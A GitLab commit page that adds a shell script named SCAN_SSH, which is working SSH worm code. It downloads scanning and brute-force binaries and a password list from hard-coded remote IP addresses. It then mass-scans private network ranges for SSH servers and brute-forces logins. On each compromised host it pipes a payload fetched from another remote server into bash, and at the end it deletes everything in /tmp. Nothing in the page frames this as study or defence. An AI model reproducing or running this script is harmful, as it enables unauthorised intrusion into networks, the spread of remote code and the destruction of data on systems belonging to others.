Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
R
root
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
0m3g4
root
Commits
27eeacc8
Commit
27eeacc8
authored
Apr 19, 2023
by
0m3g4
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Upload New File
parent
f3b01040
Pipeline
#197
canceled with stages
Changes
1
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
61 additions
and
0 deletions
+61
-0
SCAN_SSH
SCAN_SSH
+61
-0
No files found.
SCAN_SSH
0 → 100644
View file @
27eeacc8
scan() {
echo "Show time!"
DIR=/tmp
url=http://1.234.16.54:7070/apiapi/api/raw/master/p
_sigx="/tmp/.sshcheck235"
if [ $(id -u) -eq 0 ]; then
if [ ! -f $_sigx ]; then
touch $_sigx
rm -rf $DIR/alive.lst $DIR/b.lst $DIR/h.lst $DIR/block.lst $DIR/p.lst
echo "downloading..."
wget $url/spirit -O $DIR/prototypex || curl -L $url/spirit -o $DIR/prototypex
wget $url/masscan -O $DIR/strangeralien || curl -L $url/masscan -o $DIR/strangeralien
wget $url/newp -O $DIR/p.lst || curl -L $url/newp -o $DIR/p.lst
echo "download completed!"
chmod +x $DIR/prototypex
chmod +x $DIR/strangeralien
nohup $DIR/strangeralien 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 --max-rate 10000 -p22 -oG /tmp/open.lst --wait 0 >/dev/null 2>&1 &
while pgrep "strangeralien" >/dev/null; do
sleep 10
echo "Waiting for scan..."
done
nohup $DIR/prototypex parse /tmp/open.lst >/dev/null 2>&1 &
sleep 10
nohup $DIR/prototypex banner -f -t 300 >/dev/null 2>&1 &
sleep 10
cat $DIR/b.lst | grep OpenSSH | sort -u > $DIR/h.lst
sleep 10
nohup $DIR/prototypex -t 3s -c "(curl -s http://123.30.179.206:8189/solr/.v7/booster || wget -q -O - http://123.30.179.206:8189/solr/.v7/booster) | bash -sh" brute -j 300 >/dev/null 2>&1
fi
else
if [ ! -f $_sigx ]; then
touch $_sigx
rm -rf $DIR/alive.lst $DIR/b.lst $DIR/h.lst $DIR/block.lst $DIR/p.lst
echo "downloading..."
wget $url/spirit -O $DIR/prototypex || curl -L $url/spirit -o $DIR/prototypex
wget $url/newp -O $DIR/p.lst || curl -L $url/newp -o $DIR/p.lst
wget $url/net -O $DIR/nn || curl -L $url/net -o $DIR/nn
echo "download completed!"
chmod +x $DIR/prototypex
chmod +x $DIR/nn
addr=$($DIR/nn | cut -d "." -f1,2)
echo $addr
nohup $DIR/prototypex scan --range $addr.*.* --timeout 3s -p 22 -j 300 >/dev/null 2>&1
while pgrep "prototypex" >/dev/null; do
sleep 10
echo "Waiting for scan..."
done
mv $DIR/scan.lst $DIR/h.lst
sleep 10
nohup $DIR/prototypex banner -f -t 300 >/dev/null 2>&1 &
sleep 10
cat $DIR/b.lst | grep OpenSSH | sort -u > $DIR/h.lst
sleep 10
nohup $DIR/prototypex -t 3s -c "(curl -s http://123.30.179.206:8189/solr/.v7/booster || wget -q -O - http://123.30.179.206:8189/solr/.v7/booster) | bash -sh" brute -j 300 >/dev/null 2>&1
fi
fi
}
scan
rm -rf /tmp/*
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment